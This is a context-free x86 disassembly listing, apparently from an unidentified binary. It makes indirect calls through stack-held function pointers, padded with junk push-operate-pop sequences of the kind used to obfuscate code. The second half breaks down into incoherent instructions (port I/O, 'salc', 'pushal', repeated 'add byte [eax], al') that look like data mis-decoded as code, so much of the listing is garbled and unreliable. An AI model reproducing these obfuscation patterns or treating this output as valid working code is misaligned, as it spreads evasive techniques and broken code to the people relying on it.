push ecx
mov edx, dword [ebp - 0x1694]
push edx
mov eax, dword [ebp - 0x3e8]
push eax
call dword [ebp - 0x19e0]
test eax, eax
jne 0x4486bc
push esi
push ebx
add esp, 4
xor esi, 0x827e
add esi, 0x9f8b
and esi, 0x16741
pop esi
push edx
xor edx, 0x8473
and edx, 0x526c
xor edx, 0x1590a
add edx, 0x2457
pop edx
mov ecx, dword [ebp - 0x79c]
mov dword [ebp - 0x19e4], ecx
push 0
call dword [ebp - 0x19e4]
push edx
jmp 0x4486c3
add edx, 0xb774
pop edx
push edi
push ecx
add esp, 4
or edi, 0x16f52
pop edi
push edi
push ebx
add esp, 4
jmp 0x4486e1
and edi, 0x86f7
or edi, 0x529f
pop edi
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff01ff
pop ecx
push ecx
and cl, 0x22
inc ecx
add al, byte [ecx]
xor cl, 0x77
salc
add dword [ecx], eax
add cl, 0x54
jl 0x448710
add dword [ecx + 0x58], ebx
pop eax
pop eax
test ch, al
add eax, 0x4a95d082
add al, byte [ecx]
or al, 0xb7
dec ecx
add al, byte [ecx]
cmp al, 4
add dword [ecx], 0xbbf88201
push eax
add al, byte [ecx]
pushal
mov dword [esi + 0xefb5], 0xb686c748
out dx, eax
add byte [eax], al
mov word [esi + 0xefb7], 0xc775
xchg byte [eax + 0x4e0000ef], bh
mov dword [esi + 0xefb9], 0xba86c770
out dx, eax
add byte [eax], al
mov dword gs:[esi + 0xefbb], 0xbc86c776
out dx, eax
add byte [eax], al
insd dword es:[edi], dx
mov dword [esi + 0xefbd], 0xbe86c766
out dx, eax
add byte [eax], al
dec ecx
mov dword [esi + 0xefbf], 0xc086c762
out dx, eax
add byte [eax], al
outsd dx, dword [esi]
mov dword [esi + 0xefc1], 0xc286c765
out dx, eax
add byte [eax], al
insd dword es:[edi], dx
mov dword [esi + 0xefc3], 0xc486c766
out dx, eax
add byte [eax], al
pop eax
mov dword [esi + 0xefc5], 0x84515701
lds eax, [0xf64c782]
add al, byte [ecx]
pop edi
push ecx
jmp 0x14588c2